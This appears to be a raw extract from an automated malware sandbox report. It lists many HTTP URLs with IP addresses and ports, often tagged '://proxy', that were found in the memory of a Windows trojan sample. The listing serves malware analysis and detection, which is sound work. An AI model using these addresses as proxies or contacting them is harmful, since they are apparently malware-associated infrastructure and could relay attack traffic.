Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D0C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.49.177.198:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.49.177.198:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.131.122:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.131.122:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.225.166:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.57.225.166:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.169.35:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.169.35:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.180.188:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.65.180.188:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.66.37.78:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.66.37.78:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6571000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.81.195:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.81.195:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C902F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.83.25:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.74.83.25:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.11.217:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.11.217:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.11.218:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.11.218:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.19.242:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.19.242:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.64.75:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.64.75:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.79.188:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.79.188:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.8.215:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.8.215:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.82.211:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.82.211:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.85.126:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.85.126:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.95.48:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.78.95.48:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8085000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.81.245.194:4128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.81.245.194:4128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.140.244.163:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.140.244.163:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.16.171.65:51459
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.16.171.65:51459://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.100.156:5020
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.100.156:5020://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.110.154:9898
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.110.154:9898://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.124.106:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.124.106:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.127.53:48744
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.160.127.53:48744://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.23.35.242:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.23.35.242:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C807E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C804E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.112.186:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C805E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.112.186:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.115.131:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.115.131:8080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.175.226:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.175.226:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.247.140:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.247.140:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.26.196:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.26.196:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.93.4:53281
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.253.93.4:53281://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.48.77.173:8674
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.48.77.173:8674://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.50.65.169:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.50.65.169:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.229.165:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.229.165:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C947E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.70.117:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C947E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.70.117:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.83.112:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.52.83.112:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.129.70:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.129.70:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.143.200:8180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.143.200:8180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C691F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.96.140:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.96.140:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.96.56:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.53.96.56:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.72.203.246
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.72.203.246://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.72.203.246:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82FC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.79.60.21:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C773F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://182.79.60.21:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.100.14.134:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.100.14.134:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.162:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.162:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.209:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.209:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.235:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.235:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.250:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.242.250:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.243.107:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.243.107:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.243.124:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.243.124:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.243.91:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.243.91:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.254.8:4216
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.164.254.8:4216://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.224.43:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.224.43:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8108000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.245.27:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.245.27:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.245.65:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.245.65:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.247.91:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.247.91:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.248.145:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.165.248.145:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA25000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.166.170.73:41122
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.166.170.73:41122://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.179.187.16:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.179.187.16:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.215.23.242:9091
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.215.23.242:9091://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.215.11:8443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.215.11:8443://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C902F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.85.26:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.234.85.26:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.56.243.209:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.56.243.209:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.62.58.37:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://183.62.58.37:1080://proxy
